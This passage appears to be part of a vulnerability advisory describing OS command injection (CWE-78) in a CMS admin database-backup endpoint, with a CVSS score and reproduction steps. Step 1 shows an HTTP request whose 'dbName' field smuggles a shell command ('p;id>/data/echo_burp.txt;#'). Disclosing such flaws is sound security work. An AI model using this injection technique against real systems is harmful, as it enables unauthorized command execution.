. When creating a database connection configuration in the admin "Database Backup" module, the fields
verbatim, without any character whitelist or escaping/validation
. When a user triggers "Backup" (or "Restore"), the application uses
command template, which is finally handed to the shell for interpretation via
(Windows). Any (sub-)administrator holding the backup permission can inject shell metacharacters such as
arbitrary OS command execution with the privileges of the service process (root in the reproduction environment)
: user-controlled fields are concatenated into a shell command string without validation (CWE-78).
POST /admin-api/cms/db-backup/backup/{id}
(N) — exploitable as long as the target is reachable
(L) — requires a low-privileged account with backup permission
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Step 1 — Create the database configuration (injection payload)
POST /admin-api/cms/db-backup/database HTTP/1.1
{"dbType":"mysql","host":"127.0.0.1","port":"3306","username":"root","password":"123456","dbName":"p;id>/data/echo_burp.txt;#","maxFileNum":5}
Step 2 — Query the list to obtain the configuration
GET /admin-api/cms/db-backup/database HTTP/1.1
